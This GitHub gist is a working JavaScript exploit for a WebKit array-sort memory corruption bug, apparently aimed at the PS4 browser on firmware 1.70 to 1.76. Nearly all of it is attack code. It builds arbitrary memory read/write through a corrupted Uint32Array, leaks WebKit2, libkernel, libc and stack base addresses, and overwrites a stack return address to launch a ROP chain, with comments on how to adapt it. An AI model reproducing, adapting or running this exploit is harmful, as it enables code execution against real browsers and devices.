Skip to content

Instantly share code, notes, and snippets.

@ahornerr
Created November 12, 2014 07:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ahornerr/33a8b2079f7b00377562 to your computer and use it in GitHub Desktop.
Save ahornerr/33a8b2079f7b00377562 to your computer and use it in GitHub Desktop.
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
//logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
//logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
//logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
//logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// target addr for the rop chain
var chain_addr = u32base0 + 0x80000;
var chain_data = u32base0 + 0x88000;
// xx will be the base address of WebKit2
xx = (getU64from(xx+0x20)-0x30bf0);
var wk_base = xx;
logAdd("WebKit2 base address = 0x" + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);
xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000
//logAdd("Dump Address is 0x" + xx.toString(16));
setBase(xx);
//get libSceLibcinternal base
//var libc_int_base = getU64from(xx+0xf98); //1.71
var libc_int_base = getU64from(xx+0x1628); //1.71
//get libkernel base
//xx = getU64from(xx+0xdd8); //1.71
xx = getU64from(xx+0x1468); //1.76
var libkernel_base = xx;
setBase(xx);
//get stack base
//xx = getU64from(xx+0x3D890); //1.76 webkit2 stack?
xx = getU64from(xx+0x5B278); //1.76 webprocess stack
//yy = getU64from(xx+0x5AA70); //1.71
var stack_base = xx - 0x4000;
//yy = getU64from(xx+0x5AA70);
logAdd("libkernel Base is 0x" + libkernel_base.toString(16));
logAdd("libSceLibcinternal Base is 0x" + libc_int_base.toString(16));
logAdd("Stack Base is 0x" + stack_base.toString(16));
logAdd("Chain Address is 0x" + chain_addr.toString(16));
//var return_va = 0x2b38; //1.71
var return_va = 0x2b38; //1.76
//var old_va = getU64from(return_va);
//var old_va8 = getU64from(return_va+8);
// ***************** ROP START *********************
// store data
// none
// store ROP chain
setU64to(chain_addr + 0, wk_base + 735703);
// point a return address of the stack to our chain
setU64to(stack_base + return_va + 8, chain_addr);
setU64to(stack_base + return_va, wk_base + 392117);
// ***************** ROP END ***********************
// cleanup
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
}
catch(e) {
logAdd(e);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment